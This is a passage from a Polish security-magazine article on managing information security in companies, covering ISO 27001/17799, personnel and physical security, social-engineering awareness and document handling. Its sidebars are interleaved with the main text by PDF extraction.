zagrożeniami w taki sposób, aby zapewnić ciągłość działania – realizację celów statutowych instytucji, zminimalizowanie strat i zmaksymalizowanie zwrotu nakładów na inwestycje i działania o charakterze biznesowym. Norma odnosi się do 3 aspektów informacji podlegających ochronie: poufności – zapewnienie dostępu do informacji tylko osobom upoważnionym, integralności – zapewnienie dokładności i kompletności informacji i metod jej przetwarzania, dostępności – zapewnienia, że osoby upoważnione mają dostęp do informacji i związanych z nią aktywów wtedy, gdy jest im to potrzebne. W przypadku informacji biznesowych stanowiących tajemnicę przedsiębiorstwa największe znaczenie dla bezpieczeństwa informacji ma ochrona poufności, tzn., informacja nie powinna być udostępniana lub ujawniana nieautoryzowanym osobom, podmiotom lub procesom. Norma PN-ISO/IEC 27001: 2007 Technika informatyczna – Techniki bezpieczeństwa – Systemy zarządzania bezpieczeństwem informacji – Wymagania definiuje system zarządzania bezpieczeństwem informacji (SZBI). Powinien on stanowić część składową systemu zarządzania instytucją i być oparty na podejściu wynikającym z ryzyka biznesowego. Norma zaleca podejście systemowe oparte na ciągłym doskonaleniu zgodnie z cyklem PDCA (PlanDo-Check-Act) Deminga obejmującym: ustanowienie, wdrożenie, eksploatację, monitorowanie, przegląd, a także utrzymanie i doskonalenie SZBI. Norma oparta jest podobnie jak norma ISO 9001: 2000 i norma ISO 14001: 2004 na zasadach podejścia procesowego. Umożliwia instytucji budowę zintegrowanego systemu zarządzania: zarządzania jakością w oparciu o normę ISO 9001 i zarządzania bezpieczeństwem informacji w oparciu o normę ISO 27001. Wdrożenie w instytucji zintegrowanego systemu zarządzania może przynieść �������������� ������ organizacji szereg korzyści: pozwoli objąć systemem wszystkie obszary działania firmy, zwrócić uwagę na ochronę informacji i jej wartość, zwiększyć zainteresowanie technologiami ICT, spowodować prowadzenie analizy i zarządzania ryzykiem, zapewnić opracowanie planów ciągłości działania, przyczynić się do uzyskania przewagi nad konkurencją i poprawić wizerunek firmy. �������������� ������ ������ ������ ������������ ���� ������� ���� ��������� ������������������� ���������� ������������� ��������� �������������� ���������� ���������� ������������������� ������������� ��������������� ����������������� ������� ����� ����������� ���������������� ���������� Rysunek 3. Model PDCA stosowany w procesach SZBI Tabela 2. Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji Stopień Nazwa Charakterystyka 0 Brak świadomości • brak zdefiniowania wymagań bezpieczeństwa • bezpieczeństwo traktowane jest jako problem poszczególnych użytkowników I Początkowy • świadomość potrzeby • kierownictwo uważa to za problem IT (typu: prawa dostępu, ochrona antywirusowa) II Intuicyjny • próby tworzenia zabezpieczeń • brak jednolitego podejścia • efekty zależne od zaangażowania osób zainteresowanych III Zdefiniowany • zdefiniowane zasady (w tym Polityka bezpieczeństwa) w całej organizacji • procedury bezpieczeństwa są utrzymywane i komunikowane • brak kontroli stosowania IV Zarządzany • jednolite podejście dla wszystkich komórek i wszystkich rozwiązań • obowiązuje perspektywa biznesu • funkcjonuje mechanizm kontroli stosowania V Optymalizowany • świadome zarządzanie ryzykiem • zgodność strategii bezpieczeństwa ze strategią biznesową • zapewnienie bezpieczeństwa traktowane jako proces (wiedza, doskonalenie) 1/2010 HAKIN9 71 BEZPIECZNA FIRMA W załączniku A do normy przedstawiono cele stosowania zabezpieczeń i zabezpieczenia, które należy wybrać w przypadku podjęcia decyzji o wdrożeniu w instytucji SZBI. Norma może być przydatna dla każdej organizacji, niezależnie od wielkości, czy branży, niezależnie od tego, czy instytucja będzie ubiegać się o certyfikację systemu zarządzania bezpieczeństwem informacji, czy nie. Do certyfikacji systemu zarządzania bezpieczeństwem informacji przeznaczona jest norma BS 7799-2 (PNISO/IEC 27001: 2007). Oprócz normy ISO 17779 istnieją inne standardy dotyczące bezpieczeństwa. Przykładem może być standard Wytyczne w sprawie bezpieczeństwa systemów informacyjnych wydany przez Organizację Rozwoju i Współpracy Gospodarczej (OECD), która zrzesza najbardziej uprzemysłowione kraje świata, w tym Polskę. Wytyczne te mogą Tabela 3. Podstawowe zasady ochrony informacji Lp. Zasada Treść zasady 1 Zasada przywilejów koniecznych Każdy użytkownik systemu informatycznego posiada prawa ograniczone wyłącznie do tych, które są konieczne do wykonywania powierzonych mu zadań 2 Zasada wiedzy koniecznej Pracownicy posiadają wiedzę o systemie informatycznym, ograniczoną wyłącznie do zagadnień, które są konieczne do realizacji powierzonych zadań 3 Zasada usług koniecznych Zakres dostępnych usług systemu jest ograniczony tylko do tych, które są konieczne do prawidłowego funkcjonowania organizacji 4 Zasada asekuracji zabezpieczeń Ochrona systemu informatycznego nie może opierać się wyłącznie o jeden mechanizm zabezpieczenia, nawet gdy zastosowana technologia jest uznawana za wysoce zaawansowaną i niezawodną 5 Zasada pracy zbiorowej Wszyscy użytkownicy systemu informatycznego są świadomi konieczności ochrony wykorzystywanych zasobów 6 Zasada indywidualnej odpowiedzialności Za utrzymanie właściwego poziomu bezpieczeństwa poszczególnych elementów systemu informatycznego odpowiadają konkretne osoby, które mają świadomość tego za co są odpowiedzialne i jakie konsekwencje poniosą jeżeli zaniedbają swoje obowiązki 7 Zasada obecności koniecznej Prawo przebywania w określonych pomieszczeniach mają wyłącznie osoby, które są do tego upoważnione lub posiadają tymczasową zgodę wydaną przez odpowiedni organ nadzorczy 8 Zasada stałej gotowości System ochrony jest przygotowany do odparcia wszystkich realnych zagrożeń. Pod żadnym pozorem nie może zdarzyć się sytuacja tymczasowego wyłączenia zabezpieczeń, która pozostawi określone elementy systemu informatycznego bez ochrony 9 Zasada najsłabszego „ogniwa łańcucha” Poziom bezpieczeństwa systemu informatycznego wyznacza najsłabszy (najmniej zabezpieczony) element tego systemu. Z reguły, włamanie do systemu odbywa się poprzez wyszukiwanie luk w systemie ochrony 72 HAKIN9 1/2010 stanowić uzupełnienie norm dotyczących bezpieczeństwa informacji. W przypadku outsourcingu usług związanych z IT, pamiętajmy o sprawdzeniu referencji firmy oraz kwalifikacji i doświadczenia pracowników świadczących usługę. Warto zadbać również o podpisanie stosownej umowy o zachowaniu poufności zarówno z firmą, jak i z każdym z jej pracowników świadczących usługę. Na koniec należy sprawdzić, czy wykonawca posiada ważną polisę w zakresie odpowiedzialności cywilnej obejmującą zakres świadczonych usług. Posiadanie przez pracowników firmy poświadczeń bezpieczeństwa lub przez firmę świadectwa bezpieczeństwa przemysłowego, to ważny atut przy zawieraniu umowy. Bezpieczeństwo osobowe Człowiek jest najsłabszym elementem systemu ochrony informacji. Jak wynika ze statystyk, około 80 % incydentów związanych z przetwarzaniem informacji spowodowanych jest przez czynnik ludzki. Powiedzenie kadry decydują o wszystkim jest jak najbardziej prawdziwe. Należy o nim pamiętać już na etapie rekrutacji i zatrudniania personelu (należy zatrudniać właściwych ludzi, sprawdzać ich referencje z poprzednich miejsc pracy, szkolić personel z procedur bezpieczeństwa, ciągle podnosić jego świadomość, rozdzielać kluczowe obowiązki pomiędzy dwóch pracowników zgodnie z zasadą dwóch par oczu). Przetwarzanie informacji biznesowych, stanowiących tajemnicę przedsiębiorstwa wymaga, aby personel spełniał dodatkowe wymagania. Uzyskanie dostępu do tajemnicy przedsiębiorstwa wymaga od pracownika podpisania zobowiązania do jej zachowania. W przypadku przetwarzania informacji niejawnych pracownik powinien posiadać poświadczenie bezpieczeństwa uprawniające do dostępu do dokumentów i materiałów o określonej klauzuli tajności (ściśle tajne, tajne, poufne lub zastrzeżone). Poświadczenie bezpieczeństwa daje rękojmię zachowania tajemnicy przez zainteresowanego. W przypadku przetwarzania danych osobowych administrator danych (przedsiębiorca) wydaje osobie przetwarzającej dane BEZPIECZEŃSTWO INFORMACJI osobowe upoważnienie do przetwarzania danych osobowych. Warto w tym miejscu przytoczyć zapisy §3 Rozporządzenia Ministra Pracy i Polityki Socjalnej z dnia 28 maja 1996 r. w sprawie zakresu prowadzenia przez pracodawców dokumentacji w sprawach związanych ze stosunkiem pracy oraz sposobu prowadzenia akt osobowych. Ww. paragraf stanowi, że Pracodawca przed dopuszczeniem pracownika do pracy uzyskuje jego pisemne potwierdzenie zapoznania się z treścią regulaminu pracy oraz z przepisami i zasadami dotyczącymi bezpieczeństwa i higieny pracy, a także z zakresem informacji objętych tajemnicą określoną w obowiązujących ustawach dla umówionego z pracownikiem rodzaju pracy. Warto na co dzień korzystać z tego zapisu. Również w obrocie gospodarczym, przed rozpoczęciem negocjacji handlowych, coraz częściej obserwujemy wśród przedsiębiorców praktykę podpisywania umów o poufności. Ryzyko wycieku informacji gospodarczych z organizacji zmusza przedsiębiorców do zajęcia się problemem bezpieczeństwa personelu. Najczęściej z firmy wyciekają informacje biznesowe, dane personalne klientów oraz własność intelektualna: pomysły Tabela 4. Dobre praktyki w przetwarzaniu dokumentów nowych rozwiązań, czy kody źródłowe oprogramowania. Jak wynika z praktyki, najczęściej wyciekają informacje w postaci dokumentów elektronicznych (z uwagi na łatwość): najczęściej za pośrednictwem poczty elektronicznej, komunikatorów internetowych i sieci bezprzewodowych. Cenne informacje pracownicy wynoszą na nośnikach informatycznych: na płytach CD/DVD, nagrane na pamięciach USB, rzadziej w postaci dokumentów papierowych (kserokopie). Zdarzają się przypadki podkupywania pracowników, kradzieży sprzętu, prowadzenia podsłuchów, czy szpiegostwa gospodarczego i przemysłowego. Wdrożenie podstawowych zasad bezpieczeństwa, a w szczególności szyfrowanie informacji ogranicza możliwość takich działań. O bezpieczeństwie kadrowym musimy myśleć już na etapie rekrutacji personelu, następnie monitorować je czasie trwania stosunku pracy, aż do momentu rozwiązania z pracownikiem umowy o pracę. Dotyczy to zwłaszcza kluczowego personelu. Z menedżerami najwyższego szczebla należy podpisać umowy o zakazie konkurencji. Ważne jest, aby na co dzień przestrzegać zasady wiedzy koniecznej (ang. need to know), a nie zasady przyjemnie byłoby wiedzieć (ang. nice to know). W oparciu o role w organizacji pracownicy powinni posiadać określone prawa i mieć zdefiniowany zakres dostępu do zasobów informacyjnych, zwłaszcza w systemach informatycznych. Uprawnienia te powinny być okresowo przeglądane i weryfikowane. Indywidualnym dokumentem określającym uprawnienia pracownika w systemach teleinformatycznych powinno być Upoważnienie do przetwarzania danych. Pełni ono w organizacji kilka funkcji. Uzupełnia zapisy poczynione w umowie o pracę i określa zadania pracownika związane z realizacją polityki bezpieczeństwa firmy. Specyfikuje dokumenty i programy wraz z wymaganymi uprawnieniami konieczne dla wykonywanej pracy. Jest podstawą do instalacji oprogramowania na stacji roboczej użytkownika i założenia użytkownikowi konta w systemie/programie Normy, standardy, zalecenia • • Lp. Praktyki 1 obieg dokumentów kontrolowany (przekazywanie za pokwitowaniem odbioru) 2 dostęp do dokumentów elektronicznych zgodny z przyznanymi uprawnieniami 3 udostępnianie dokumentów tylko osobom uprawnionym 4 określona osobista odpowiedzialność za przetwarzanie dokumentów 5 dokumenty źródłowe odpowiednio chronione 6 dostęp do pomieszczeń kontrolowany • 7 zapewnione warunki środowiskowe w pomieszczeniach • 8 kopie awaryjne wykonywane i odpowiednio przechowywane • • • • • • • • PN-ISO/IEC 2382-8: 2001 Technika informatyczna – Terminologia – Bezpieczeństwo – norma terminologiczna PN-I-02000: 2002 Technika informatyczna – Zabezpieczenia w systemach informatycznych – Terminologia – norma terminologiczna PN-I-13335-1: 1999 Technika informatyczna – Wytyczne do zarządzania bezpieczeństwem systemów informatycznych – Pojęcia i modele bezpieczeństwa systemów informatycznych ISO/IEC TR 13335-2 Technika informatyczna – Wytyczne do zarządzania bezpieczeństwem systemów informatycznych Część 2: Zarządzanie i planowanie bezpieczeństwa systemów informatycznych ISO/IEC TR 13335-3 Technika informatyczna – Wytyczne do zarządzania bezpieczeństwem systemów informatycznych Część 3: Techniki zarządzania bezpieczeństwem systemów informatycznych ISO/IEC 13335-4: Wybór zabezpieczeń ISO/IEC 13335-5: Zabezpieczenie połączeń zewnętrznych BS 7799-1 – standard opracowany przez BSI, definiuje wytyczne w zakresie ustanowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania i doskonalenia Systemu Zarządzania Bezpieczeństwem Informacji (zastąpiony przez ISO/IEC 17799: 2005 i przenumerowany później na ISO/IEC 27002:2005) BS 7799-2 – standard opracowany przez BSI, definiuje wymagania w zakresie ustanowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania i doskonalenia Systemu Zarządzania Bezpieczeństwem Informacji (zastąpiony przez ISO/IEC 27001: 2005) BS 7799-3 – standard opracowany przez BSI, dotyczy zarządzania ryzykiem w bezpieczeństwie informacji (zastąpiony przez ISO/IEC 27005) BS 25999: 2006 – standard opracowany przez BSI, dotyczy zarządzania ciągłością działania (zastąpił specyfikacje PAS-56) ISO/IEC TR 18044 – standard przedstawia dobre praktyki w zakresie zarządzania incydentami bezpieczeństwa informacji. 1/2010 HAKIN9 73 BEZPIECZNA FIRMA z wymaganym dostępem i wymaganymi uprawnieniami. Wreszcie dokumentuje wymagania polityki bezpieczeństwa związane z przetwarzaniem zbiorów/ dokumentów, a w szczególności przydzielanie wymaganego dostępu i związanych z nim uprawnień. Dokumentuje także potwierdzenie zapoznania się z działaniem programów i z przepisami o ochronie danych oraz zobowiązanie do zachowania w tajemnicy przetwarzanych danych i sposobu ich ochrony. Dobrą praktyką jest, aby wszyscy pracownicy podpisali stosowne zobowiązania o poufności, a z kluczowymi pracownikami zawarto umowy o zakazie konkurencji. Zgodnie z normą ISO 17799 bezpieczeństwo osobowe ma na celu ograniczenie ryzyka błędu ludzkiego, kradzieży, oszustwa lub niewłaściwego użytkowania zasobów. W aktach osobowych pracownika powinny znaleźć się stosowne zapisy dotyczące zachowania poufności lub nieujawniania informacji pozyskanych w czasie stosunku pracy, jak i po jego zakończeniu (np. umowa o zakazie konkurencji) i zapisy dotyczące odpowiedzialności pracownika za ochronę (bezpieczeństwo) informacji. Kevin Mitnick w swojej książce Sztuka podstępu pisze łamałem ludzi nie hasła. Dlatego też należy cyklicznie szkolić własny personel, uświadamiać zagrożenia i wskazywać na potrzebę ochrony informacji biznesowych. Tematem szkoleń powinny być procedury bezpieczeństwa, wynikające z przyjętej w organizacji polityki bezpieczeństwa informacji, zwłaszcza zasady dostępu do informacji i obiegu dokumentów, procedury udostępniania i powierzania przetwarzania informacji posiadających wartość gospodarczą. Kluczowe znaczenie dla bezpieczeństwa ekonomicznego organizacji ma odporność własnego personelu na działania i metody socjotechniczne stosowane przez osoby zatrudnione w wywiadzie konkurencyjnym i gospodarczym. Ataki socjotechniczne są najtrudniejsze do wykrycia i obrony. Ofiara ataku często nie wie, że została zaatakowana, stąd trudność w skutecznej obronie. Jedyne co można zrobić, to kształtować świadomość zagrożeń oraz opracować odpowiednie procedury bezpieczeństwa. Zapobieganie atakom socjotechnicznym w organizacji wymaga szeregu skoordynowanych działań. W pierwszej kolejności należy opracować i wdrożyć stosowne procedury bezpieczeństwa, a następnie przyjąć politykę klasyfikacji danych oraz określić, które informacje należy chronić, najlepiej w postaci wykazu informacji podlegających ochronie. Po drugie, w celu kształtowania świadomości bezpieczeństwa wśród pracowników, należy prowadzić systematycznie teoretyczne i praktyczne szkolenia (minimum raz, a najlepiej dwa razy w ciągu roku) z zakresu metod przeciwdziałania atakom socjotechnicznym. W trakcie szkoleń należy uświadamiać pracownikom potencjalną możliwość Atrybuty bezpieczeństwa informacji wg PN-I-13335-1 • • • • • • • • Poufność (confidentiality) – właściwość zapewniająca, że informacja nie jest udostępniana lub ujawniana nieautoryzowanym osobom, podmiotom lub procesom. Autentyczność (authenticity) – właściwość zapewniająca, że tożsamość podmiotu lub zasobu jest taka, jak deklarowana; autentyczność dotyczy takich podmiotów jak: użytkownicy, procesy, systemy i informacja. Dostępność (availability) – właściwość bycia dostępnym i możliwym do wykorzystania na żądanie, w założonym czasie przez autoryzowany podmiot. Integralność danych (data integrity) – właściwość zapewniająca, że dane nie zostały zmienione lub zniszczone w sposób nieautoryzowany. Integralność systemu (system integrity) – właściwość polegająca na tym, że system realizuje swoją zamierzoną funkcję w nienaruszony sposób, wolny od nieautoryzowanej manipulacji, celowej lub przypadkowej. Integralność (integrity) – integralność danych i integralność systemu. Rozliczalność (accountability) – właściwość zapewniająca, że działania podmiotu mogą być przypisane w sposób jednoznaczny tylko temu podmiotowi. Niezawodność (reliability) – właściwość oznaczająca spójne, zamierzone zachowanie i skutki. 74 HAKIN9 1/2010 ataków socjotechnicznych. Pracownicy na ogół nie czują zagrożenia, wydaje im się, że są odporni na typowe ataki socjotechniczne, stąd poczucie tzw. fałszywego bezpieczeństwa. Rodzi się tu pytanie, czy jesteśmy zagrożeni atakiem socjotechnicznym. Jak wynika ze statystyk, właściwym pytaniem jest, kiedy nastąpi atak. Chodzi o to, aby nie dać się zaskoczyć i być przygotowanym na jego odparcie. Program szkolenia pracowników powinien obejmować analizę typowych źródeł ataków socjotechnicznych, takich jak: rozmowa telefoniczna, fax, e-mail, strona WWW, kontakt osobisty oraz metody obrony. Należy również przedstawić szkolonym potencjalne skutki ataku, w postaci strat finansowych, utraty prestiżu, utraty konkurencyjności instytucji, utraty prywatności pracowników – wycieku danych osobowych, itp. W celu sprawdzenia stanu bezpieczeństwa organizacji oraz podatności jej pracowników na ataki socjotechniczne wskazane jest okresowe przeprowadzanie audytów bezpieczeństwa. Skuteczność powyższych działań zależy w głównej mierze od ustanowienia jasnych, prostych i zwięzłych procedur bezpieczeństwa oraz ciągłego motywowania pracowników do ich przestrzegania. Polityka bezpieczeństwa organizacji powinna zniechęcać do odstępowania od procedur bezpieczeństwa poprzez system kar i nagród. Należy wpoić pracownikom zakaz udostępniania informacji, za Zagrożenia dla zasobów informatycznych • • • • • • • • • Ogień. Woda. Zakłócenia w dostawach energii elektrycznej. Zniszczenie mechaniczne sprzętu. Nieautoryzowany dostęp. Oprogramowanie szkodliwe. Nieautoryzowane wykorzystanie sprzętu i oprogramowania. Nieprzestrzeganie prawa, w tym prawa autorskiego. Kradzież sprzętu, oprogramowania, danych. BEZPIECZEŃSTWO INFORMACJI wyjątkiem informacji publicznych, do momentu pozytywnej weryfikacji tożsamości rozmówcy. Weryfikacja, weryfikacja i jeszcze raz weryfikacja tożsamości pytającego, to podstawa skutecznego zapobiegania atakom socjotechnicznym. Należy również zwrócić szczególną uwagę na firmy wykonujące usługi sprzątania i usługi ochrony fizycznej. Organizacje bardzo często dość liberalnie postępują w tych kwestiach. Powinniśmy pamiętać o przeszkoleniu pracowników tych firm w zakresie procedur bezpieczeństwa instytucji, a zwłaszcza uczulić na kwestie związane z kontrolą dostępu, dostępem osób nieuprawnionych na teren organizacji. Jedyną tak naprawdę skuteczną metodą ochrony przed atakiem socjotechnicznym jest zastosowanie zabezpieczeń technologicznych w kombinacji z procedurami bezpieczeństwa. Procedury te powinny określać podstawowe zasady zachowania się pracowników. Z jednej strony czynnik ludzki stanowi najsłabszy element systemu bezpieczeństwa, z drugiej strony jest jego najsilniejszym ogniwem. Jedynie te instytucje, które zainwestowały w kapitał ludzki mogą czuć się bezpiecznie, gdyż bezpieczeństwo informacji to przede wszystkim stan świadomości. Kształtowanie świadomości pracowników to najlepsza, najbardziej skuteczna, najtańsza i wciąż niedoceniana metoda ochrony informacji, na którą stać wszystkich przedsiębiorców bez względu na wielkość instytucji. Poddaję to pod rozwagę kierujących organizacjami. Bezpieczeństwo fizyczne i środowiskowe Ochrona fizyczna jest najstarszą metodą ochrony zasobów materialnych i informacyjnych. Stanowi pierwszą linię obrony. Jeżeli w przedsiębiorstwie nie wdrożono podstawowych środków ochrony fizycznej, to nie możemy mówić o jakimkolwiek bezpieczeństwie. Zastosowane środki ochrony fizycznej kształtują wizerunek firmy wśród klientów i zapewniają poczucie bezpieczeństwa jej pracownikom. Norma ISO 17799 dotycząca zarządzania bezpieczeństwem informacji stanowi, że celem bezpieczeństwa fizycznego i środowiskowego jest zapobieganie nieuprawnionemu dostępowi, uszkodzeniom i ingerencji w pomieszczenia instytucji i jej informacje. Natomiast urządzenia do przetwarzania krytycznych lub wrażliwych informacji powinny być ulokowane w obszarach bezpiecznych, chronionych wyznaczonym obwodem zabezpieczającym z odpowiednimi barierami i kontrolą wstępu. Organizacje, często nie doceniają mechanizmów ochrony fizycznej. Brak odpowiednich zabezpieczeń fizycznych może nieść za sobą katastrofalne skutki, począwszy od kradzieży sprzętu, komputerowych nośników informacji, czy też awarii zasilania lub systemu klimatyzacji. Brak zasobów, ich uszkodzenie, czy też ich niedostępność może zakłócić ciągłość funkcjonowania instytucji i realizacji przez nią zadań statutowych. Skuteczny system ochrony fizycznej ma uniemożliwić dostęp osobom nieuprawnionym do budynków i pomieszczeń instytucji. Poprawnie wyznaczone strefy dostępu (właściwie zlokalizowane), odpowiednio zabezpieczone pomieszczenia oraz skuteczna kontrola dostępu (kontrola wejść i wyjść oraz przebywania) gwarantują realizację przyjętego w organizacji poziomu bezpieczeństwa firmy. Ważnym aspektem ochrony fizycznej jest system przepustek (identyfikatorów) lub inny system uprawniający do wejścia, przebywania i wyjścia ze stref dostępu, zasady przyznawania i odbierania uprawnień do przebywania w strefach dostępu oraz okresowa kontrola uprawnień. W ten sposób możemy mieć pewność, że uprawnienia dostępu mają tylko upoważnione osoby. Bardzo przydatne są tu systemy telewizji dozorowej wraz z chronioną rejestracją obrazu. Cyfrowe rejestratory obrazu zapewniają długi czas nagrań i mogą zostać użyte do celów dowodowych w przypadku incydentu. Należy również Najczęściej popełniane błędy • • • • • • • • Brak zasad dotyczących ochrony informacji w firmie. Brak założeń bezpieczeństwa dla systemów teleinformatycznych. Brak zasad stałego monitorowania systemów teleinformatycznych i usuwania błędów. Brak zasad bezpieczeństwa korzystania z Internetu. Brak przeprowadzania analizy zagrożeń i ryzyka dla systemów teleinformatycznych. Brak zdefiniowania sytuacji kryzysowych. Brak procedur postępowania w sytuacjach kryzysowych. Brak szkoleń pracowników – niska kultura ochrony informacji. Organizacja bez wdrożonego systemu zarządzania bezpieczeństwem informacji • • • Brak koordynacji polityki bezpieczeństwa pomiędzy różnymi jednostkami organizacyjnymi (departament IT, ochrona fizyczna, pion ochrony informacji niejawnych). Koncentracja na zabezpieczeniach. Wydatki na bezpieczeństwo traktowane jako koszt działania. Organizacja z wdrożonym systemem zarządzania bezpieczeństwem informacji • • • • • Standaryzacja bezpieczeństwa informacji w całej organizacji – stworzenie odpowiednich struktur nadzorczych. Koncentracja na analizie ryzyka. Wydatki na bezpieczeństwo traktowane jako inwestycja (możliwość wyznaczenia wskaźnika zwrotu z inwestycji). Przewaga marketingowa na rynku. Możliwość niezależnej certyfikacji. 1/2010 HAKIN9 75 BEZPIECZNA FIRMA pamiętać o procedurach organizacyjnych obejmujących: eskortowanie gości, zamykanie drzwi i okien w pomieszczeniach, zarządzanie kluczami do pomieszczeń (szczelny system przechowywania kluczy do pomieszczeń chronionych użytku bieżącego i zapasowych), nadzór nad pracą personelu pomocniczego, zwłaszcza sprzątaniem pomieszczeń i pracą personelu serwisowego, przechowywanie kopii zapasowych w zabezpieczonych pomieszczeniach (jak najbardziej odległych w pionie i poziomie od miejsc ich wytworzenia) w specjalnych szafach ogonioodpornych, służących do przechowywania komputerowych nośników informacji oraz zapewnienie dostępności aktualnej dokumentacji technicznej (zasilania, okablowania, sprzętu, oprogramowania, planów awaryjnych i planów ciągłości działania). W przypadku podjęcia decyzji o outsourcingu usług ochrony fizycznej pamiętajmy o sprawdzeniu koncesji firmy ochrony oraz licencji zarówno pracowników ochrony, jak i pracowników, którzy projektują, instalują, a później konserwują nasze systemy zabezpieczenia technicznego (systemy kontroli dostępu, systemy sygnalizacji włamania i napadu, systemy sygnalizacji pożarowej, czy systemy telewizji dozorowej). Polityka w zakresie ochrony fizycznej instytucji powinna wynikać z jej strategii biznesowej. Dobór zabezpieczeń należy wykonywać w oparciu o przeprowadzaną okresowo analizę ryzyka. Zastosowane zabezpieczenia powinny być współmierne do zidentyfikowanych zagrożeń. Z uwagi na koszty należy rozważyć wdrożenie następujących środków ochrony: Zintegrowany system zarządzania – korzyści • • • • • • • • • Objęcie systemem wszystkich obszarów działalności firmy. Zwrócenie szczególnej uwagi na wartość informacji i jej znaczenie. Prowadzenie analizy ryzyka i zarządzania ryzykiem. Zwiększenie zainteresowania technologiami informatycznymi. Opracowanie planów zapewnienia ciągłości działania. Zastosowanie podejścia procesowego i ciągłego doskonalenia. Jednolita dokumentacja i terminologia. Zbliżone zasady audytowania. Niższe koszty przygotowania i wdrożenia zintegrowanego systemu. Struktura normy PN-ISO/IEC 17799: 2007 Technika informatyczna – Techniki bezpieczeństwa – Praktyczne zasady zarządzania bezpieczeństwem informacji • • • • • • • • • • • • • • • • • • • Przedmowa Wprowadzenie. Zakres normy. Terminy i definicja. Struktura normy. Szacowanie ryzyka i postępowanie z ryzykiem. Polityka bezpieczeństwa. Organizacja bezpieczeństwa informacji. Zarządzanie aktywami. Bezpieczeństwo zasobów ludzkich. Bezpieczeństwo fizyczne i środowiskowe. Zarządzanie systemami i sieciami. Kontrola dostępu. Pozyskiwanie, rozwój i utrzymanie systemów informacyjnych. Zarządzanie incydentami związanymi z bezpieczeństwem informacji. Zarządzanie ciągłością działania. Zgodność. Bibliografia. Indeks 76 HAKIN9 1/2010 • działania organizacyjne (opracowanie regulaminów, procedur), ochrona czynna (np. wynajęcie firmy ochrony), ochrona bierna (wdrożenie systemu zabezpieczeń architektonicznobudowlanych, mechanicznych i elektronicznych: systemu włamania i napadu, systemu kontroli dostępu, systemu sygnalizacji pożarowej, systemu telewizji dozorowej, systemu nagłośnienia ewakuacyjnego budynku, systemu zasilania awaryjnego, zintegrowanego systemu bezpieczeństwa) i w niezbędnym zakresie, asekuracja (zawarcie umowy ubezpieczeniowej). • • • Warto zauważyć, że nie wszystkie zasoby informacyjne warto zabezpieczać lub chronić, należy określić poziom ryzyka akceptowalnego. Ważne jest, aby przyjęte rozwiązania organizacyjne, środki zabezpieczeń i ochrony oraz asekuracja wzajemnie się uzupełniały. Kształtowanie właściwej polityki bezpieczeństwa fizycznego zasobów (ochrona osób, mienia i informacji) wymaga kompleksowego podejścia, a nie działania na zasadzie intuicji. Możemy wówczas mówić o prawdziwym bezpieczeństwie, a nie o pozorach bezpieczeństwa, tym bardziej, że bezpieczeństwo fizyczne sporo kosztuje. Poddaję to pod rozwagę zarządzającym organizacjami. Bezpieczeństwo dokumentów, nośników oraz ich obieg Podstawowym warunkiem ładu dokumentacyjnego w organizacji jest Źródła wycieku informacji • • • • • • • • • Poczta elektroniczna. Komunikatory internetowe. Płyty CD/DVD. Pamięci USB. Sieci bezprzewodowe. Podkupywanie pracowników. Kradzież sprzętu. Podsłuchy. Szpiegostwo gospodarcze. BEZPIECZEŃSTWO INFORMACJI ustalenie systemu obiegu dokumentów i nośników oraz systemu przechowywania i archiwizowania dokumentów. Instrukcje wewnętrzne ustalające ład dokumentacyjny (instrukcja kancelaryjna, instrukcja archiwalna) tworzy się na podstawie obowiązujących przepisów prawa, wymagań otoczenia instytucjonalnego oraz potrzeb biznesowych. Instrukcje te powinny uwzględniać również zasady postępowania z dokumentami elektronicznymi. Ład dokumentacyjny określają przede wszystkim: ustawa o narodowym zasobie archiwalnym i archiwach oraz rozporządzenia wykonawcze do ustawy, przepisy podatkowe, przepisy o rachunkowości, przepisy o ubezpieczeniach społecznych i zdrowotnych, o rentach i emeryturach, przepisy prawa pracy oraz inne przepisy. Zapewnienie bezpieczeństwa dokumentów, wymaga oprócz zgodności z przepisami prawa, stosowania prawidłowej rejestracji dokumentów wpływających do firmy, również tych, które wpłynęły drogą elektroniczną i nadzorowania ich obiegu. Najlepiej, aby odbieg dokumentów odbywał się za potwierdzeniem odbioru. Dla dokumentów zawierających informacje poufne, np. stanowiące tajemnicę przedsiębiorstwa (posiadającą wartość gospodarczą) należy opracować procedury związane z kopiowaniem dokumentów, procedury przechowywania i archiwizacji oraz procedury wynoszenia komputerowych nośników informacji Struktura normy PN-ISO/IEC 27001: 2007 Technika informatyczna – Techniki bezpieczeństwa – Systemy zarządzania bezpieczeństwem informacji – Wymagania • • • • • Przedmowa • 0 Wprowadzenie. • 1 Zakres normy. • 2 Powołania normatywne. • 3 Terminy i definicje. • 4 System zarządzania bezpieczeństwem informacji (SZBI). • 5 Odpowiedzialność kierownictwa. • 6 Wewnętrzne audyty SZBI. • 7 Przeglądy SZBI realizowane przez kierownictwo. • 8 Doskonalenie SZBI. Załącznik A (normatywny) Cele stosowania zabezpieczeń i zabezpieczenia. Załącznik B (informacyjny) Zasady OECD i niniejsza Norma Międzynarodowa. Załącznik C (informacyjny) Powiązania ISO 9001: 2000, ISO 14001: 2004 z niniejszą Normą Międzynarodową. Bibliografia Reguły psychologiczne wykorzystywane w socjotechnice • • • • • • Reguła wzajemności – wymaga od ludzi, aby za otrzymane od drugiej osoby dobro odwdzięczyć się w podobny sposób. Reguła zaangażowania i konsekwencji – w myśl tej zasady, ludzie po dokonaniu wyboru lub zajęciu stanowisko w jakiejś sprawie, później zachowują się konsekwentnie i zgodnie z tym, w co wcześniej zaangażowali się. Reguła społecznego dowodu słuszności – głosi, że to, w co wierzą lub jak zachowują się inni ludzie, często jest podstawą naszych własnych decyzji. Reguła lubienia i sympatii – zgodnie z tą zasadą, ludzie wolą mówić tak tym osobom, które lubią i znają. Reguła autorytetu – oznacza, że ludzie ulegają autorytetom, ponieważ autorytety cechuje wiedza, mądrość i władza. Reguła niedostępności – mówi, że ludzie przypisują większą wartość tym możliwościom, które stają się niedostępne. poza teren firmy, a wreszcie należy zapewnić ochronę fizyczną pomieszczeń z dokumentami i infrastrukturą teleinformatyczną. Podsumowanie W polskich warunkach mamy zwykle do czynienia z konglomeratem kilku tajemnic prawnie chronionych i informacji biznesowych chronionych we własnym interesie. Tylko niektóre z nich: dane osobowe, informacje niejawne, mają przepisy wykonawcze, wymagania w zakresie ochrony. Większość z nich nie posiada wymagań jak je chronić, a chronić je trzeba. W przypadku tych tajemnic, 